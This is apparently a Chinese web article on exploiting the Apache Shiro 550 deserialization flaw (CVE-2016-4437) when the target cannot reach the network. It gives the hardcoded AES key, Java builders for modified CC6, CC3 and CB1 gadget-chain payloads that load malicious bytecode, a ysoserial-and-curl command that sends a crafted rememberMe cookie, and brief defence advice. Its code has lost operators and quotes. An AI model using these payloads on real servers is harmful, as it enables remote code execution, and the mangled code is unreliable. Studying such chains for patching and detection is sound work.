尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
Apache Shiro 550漏洞深度解析:3种不出网利用链(CC6/CC3/CB1)构造与对比
Apache Shiro 550漏洞不出网利用链全景解析CC6/CC3/CB1构造与实战对比在Java安全领域Apache Shiro的反序列化漏洞CVE-2016-4437堪称经典。当目标环境不出网时如何有效利用这个漏洞成为安全工程师面临的核心挑战。本文将深入剖析三种不出网利用链改造CC6、改造CC3和CB1的构造原理提供详细的对比分析并附上核心Payload片段。1. Shiro 550漏洞核心机制回顾Shiro 1.2.4及之前版本存在一个致命的设计缺陷默认使用硬编码的AES加密密钥kPHbIxk5D2deZiIxcaaaA对RememberMe Cookie进行加密。攻击者一旦获取该密钥便可构造恶意的序列化对象实现RCE。关键限制条件目标服务器无法出网无法使用JRMP等外联方式Shiro原生依赖的commons-collections版本为3.2.1反序列化过程中禁止使用数组类型的Transformer触发ClassNotFoundException// 典型Shiro反序列化触发点 byte[] key Base64.getDecoder().decode(kPHbIxk5D2deZiIxcaaaA); ByteSource ciphertext new AesCipherService().encrypt(payload, key);2. 不出网利用链构造原理2.1 改造CC6链TemplatesImpl动态加载CC6链的核心优势在于其通用性通过LazyMap和TiedMapEntry的巧妙组合触发命令执行。在Shiro环境下需要进行以下改造// 关键改造点避免使用Transformer数组 Transformer transformer new InvokerTransformer(newTransformer, null, null); Map innerMap new HashMap(); Map outerMap LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry new TiedMapEntry(outerMap, templatesImpl);构造步骤使用TemplatesImpl承载恶意字节码通过反射设置_bytecodes和_name字段构造单Transformer的InvokerTransformer通过TiedMapEntry触发LazyMap.get()提示必须清除LazyMap中残留的key否则无法触发transform调用2.2 改造CC3链TrAXFilter实例化CC3链通过InstantiateTransformer直接实例化TrAXFilter类其改造要点如下Transformer transformer new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templatesImpl} ); Map lazyMap LazyMap.decorate(new HashMap(), new ConstantTransformer(1)); TiedMapEntry entry new TiedMapEntry(lazyMap, TrAXFilter.class);技术亮点利用TrAXFilter的构造函数自动调用TemplatesImpl.newTransformer()通过反射动态修改LazyMap的factory属性避免在初始化阶段触发恶意代码2.3 CB1链Commons-Beanutils方案当环境中不存在CC依赖时Commons-Beanutils 1.x提供的方案成为救命稻草Comparator comparator new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); PriorityQueue queue new PriorityQueue(2, comparator); queue.add(templatesImpl); queue.add(templatesImpl); // 必须添加两个元素触发比较优势对比完全不依赖commons-collections使用BeanComparator比较触发getter方法兼容性更广但构造稍复杂3. 三种利用链横向对比特性改造CC6链改造CC3链CB1链依赖要求CC 3.2.1CC 3.2.1Beanutils 1.x触发方式LazyMap.get()InstantiateTransformerBeanComparator代码复杂度中等较高较低成功率高中高适用场景标准CC环境需要绕过检测无CC依赖环境Payload大小较大(~3000字节)中等(~2500字节)较小(~2000字节)4. 实战Payload构造示例4.1 CC6改造链核心代码public static byte[] buildCC6Payload(byte[] evilCode) throws Exception { TemplatesImpl templates new TemplatesImpl(); setField(templates, _bytecodes, new byte[][]{evilCode}); setField(templates, _name, Pwner); setField(templates, _tfactory, new TransformerFactoryImpl()); Transformer transformer new InvokerTransformer(toString, null, null); Map lazyMap LazyMap.decorate(new HashMap(), transformer); TiedMapEntry entry new TiedMapEntry(lazyMap, templates); HashMap map new HashMap(); map.put(entry, xxx); lazyMap.clear(); setField(transformer, iMethodName, newTransformer); return serialize(map); }4.2 CB1链关键步骤public static byte[] buildCB1Payload(byte[] evilCode) throws Exception { TemplatesImpl templates createTemplatesImpl(evilCode); BeanComparator comparator new BeanComparator(outputProperties); PriorityQueue queue new PriorityQueue(2, comparator); queue.add(templates); queue.add(templates); return serialize(queue); }5. 防御建议与检测方案防御措施立即升级到Shiro 1.2.5版本自定义CipherKey并保持机密性禁用RememberMe功能配置shiro.rememberMe.enabledfalse检测方法# 使用ysoserial检测漏洞 java -jar ysoserial.jar CommonsBeanutils1 ping test.dnslog.cn | \ base64 | awk {print rememberMe$1} | \ xargs curl -v -X POST --cookie在实际渗透测试中建议优先尝试CB1链因其适应性最强。当遇到ClassNotFound异常时可切换至CC6或CC3方案。记得清除测试产生的临时文件避免对目标系统造成持久影响。
RELATED

相关推荐

香橙派5 PWM风扇调速:3种硬件方案对比与MOSFET选型指南

香橙派5 PWM风扇调速:3种硬件方案对比与MOSFET选型指南

香橙派5 PWM风扇调速:3种硬件方案对比与MOSFET选型指南 香橙派5作为一款高性能单板计算机,在长时间高负载运行时难免会遇到散热问题。虽然市面上有现成的PWM调速风扇,但很多用户手头只有普通的两线风扇。本文将深入探讨三种不同的硬件方案&am…

📅 2026/9/8 2:21:12
OpenProject:如何用开源方案解决企业级项目管理的五大核心痛点

OpenProject:如何用开源方案解决企业级项目管理的五大核心痛点

OpenProject:如何用开源方案解决企业级项目管理的五大核心痛点 【免费下载链接】openproject OpenProject is the leading open source project management software. 项目地址: https://gitcode.com/GitHub_Trending/op/openproject 面对跨部门协作混乱、资…

📅 2026/8/22 18:11:35
精准解决商业楼宇追费、抄表误差问题,安科瑞一站式水电预付费管理系统设计

精准解决商业楼宇追费、抄表误差问题,安科瑞一站式水电预付费管理系统设计

商业中心的能源消耗比重较大,商业用楼的节能问题正越来越受到人们的重视。传统方式的抄表管理人工成本高、抄表数据易出错、还常常面临追缴费困难的问题。商业预付费系统有效的解决了以上问题,还通过对能源数据的集中统一采集、对比、分析提高能源利用率…

📅 2026/8/22 18:11:49
MORE NEWS

更多资讯

📰

UEFI与ESP分区全解:从启动链原理到引导修复实战

折腾机器多年的朋友应该都有一个共识:只要跟“启动”沾边的问题,十有八九最后都会绕到同一个地方——ESP分区。我前阵子帮同事救一台Win10更新后卡grub rescue的本子,从磁盘管理看到底,最后发现EFI系统分区好好的,但里…

📰

Hermes智能体更新与维护:面向AI Agent的运维SLO实践

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

补全项目信息,获得高质量技术博客的生成基础

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

洛阳钼业7年矿山无人化演进:最稳的矿区自动驾驶落地路径

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

如何用 RxJava 的 ParallelFlowable 做并行数据处理?parallel、runOn 与 sequential 用法及适用边界

如何用 RxJava 的 ParallelFlowable 做并行数据处理?parallel、runOn 与 sequential 用法及适用边界 【免费下载链接】RxJava RxJava – Reactive Extensions for the JVM – a library for composing asynchronous and event-based programs using observable sequ…

📰

Java+大数据+AI全能工程师知识体系与实战避坑指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬